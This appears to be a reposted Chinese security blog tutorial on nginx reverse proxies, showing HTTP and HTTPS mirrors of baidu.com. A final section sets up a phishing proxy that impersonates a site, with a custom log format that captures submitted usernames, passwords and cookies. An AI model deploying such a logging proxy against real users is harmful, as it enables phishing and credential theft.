前言
简单来说,反向代理就是客户端并不知道访问的服务器的真实ip是什么。
比如说,我在一台nginx服务器192.168.23.135上配置了一条信息
访问192.168.23.135:9998,其实访问的是https://www.baidu.com这个网站
nginx环境搭建
作为演示,用kali自带的nginx就行了,什么编译或者yum安装之类的不是重点,就不整了。
注意:
我们在使用的时候可能遇到报错 Failed to start A high performance web server and a reverse proxy server.
netstat -antup检查kali是否开启了80端口。nginx出现这个问题大部分是因为端口已经被占用。
关闭相关端口:
fuser -k 80/tcp
fuser -k 443/tcp
nginx反向代理
nginx的配置文件:vim /etc/nginx/nginx.conf
可以看到nginx默认加载conf.d目录下所有conf结尾的文件,我们可以把配置文件写在路径下,或者写在别处,但是记得通过include引用,格式与图片保持一致即可。
代理域名 http
以反向代理http://www.baidu.com举例
test.conf
server {
listen 9999;
server_name 192.168.23.135; # 你自己的ip或者域名
charset utf-8;
location / {
proxy_pass http://www.baidu.com;
proxy_set_header Accept-Encoding deflate;
sub_filter_once off;
sub_filter www.baidu.com mirror.example.com;
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
proxy_max_temp_file_size 0;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}
}
保存在/etc/nginx/conf.d路径下
nginx -s reload重新加载配置文件
备注:有点奇怪,之前可以直接看,后面再测试的时候会302跳转到https://www.baidu.com ,暂时不清楚为啥
代理域名 https
代理https需要的步骤多一些,我们需要一个ssl证书,可以去相关网站申请,或者kali生成一个。
不过自己生成的证书不会被承认,浏览器访问后会给出该链接不安全。
mkdir /usr/local/ssl/
openssl req -x509 -nodes -days 36500 -newkey rsa:2048 -keyout /usr/local/ssl/nginx.key -out /usr/local/ssl/nginx.crt
反向代理https://www.baidu.com
server {
listen 9998 ssl;
server_name 192.168.23.135;
ssl_certificate /usr/local/ssl/nginx.crt; #证书公钥
ssl_certificate_key /usr/local/ssl/nginx.key; #证书私钥
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers ECDH:AESGCM:HIGH:!RC4:!DH:!MD5:!3DES:!aNULL:!eNULL;
ssl_prefer_server_ciphers on;
proxy_ssl_server_name on;
# 下面这段location配置是关键
location / {
sub_filter www.baidu.com 192.168.23.135;
sub_filter_once off;
proxy_ssl_session_reuse off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Referer https://www.baidu.com;
proxy_set_header Host www.baidu.com;
proxy_pass https://www.baidu.com;
proxy_set_header Accept-Encoding "";
}
}
nginx -s reload重新加载配置文件
反向代理的应用
nginx反向代理钓鱼
这里推荐一片文章 nginx反向代理钓鱼 https://mp.weixin.qq.com/s/bCmEjZ0bQgN5MeFOZm_4_g
我这里就不用真实的网站举例,简单的用python开一个
配置反向代理
server
{
listen 8081; # 监听端口
server_name 192.168.23.135; # 本机真实IP
location / {
proxy_pass http://192.168.23.1:8000/; # 反代的网站,即想要伪造的网站
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置,testLog为自定义的日志格式
}
编辑/etc/nginx/nginx.conf,在http{}中添加一句话
log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
重新加载配置文件 nginx -s reload
模拟输入用户名密码,访问网站
python开的web不支持POST,不过没关系,主要看日志文件
可以看到日志文件里记录了输入的账号密码和Cookie
有点中间人的感觉
参考链接
nginx反向代理网站镜像 - 孙凯亮 - 博客园 (cnblogs.com)
https://codeleading.com/article/59955144984/
https://mp.weixin.qq.com/s/bCmEjZ0bQgN5MeFOZm_4_g
原文始发于微信公众号(进击的HACK):nginx反向代理及钓鱼应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论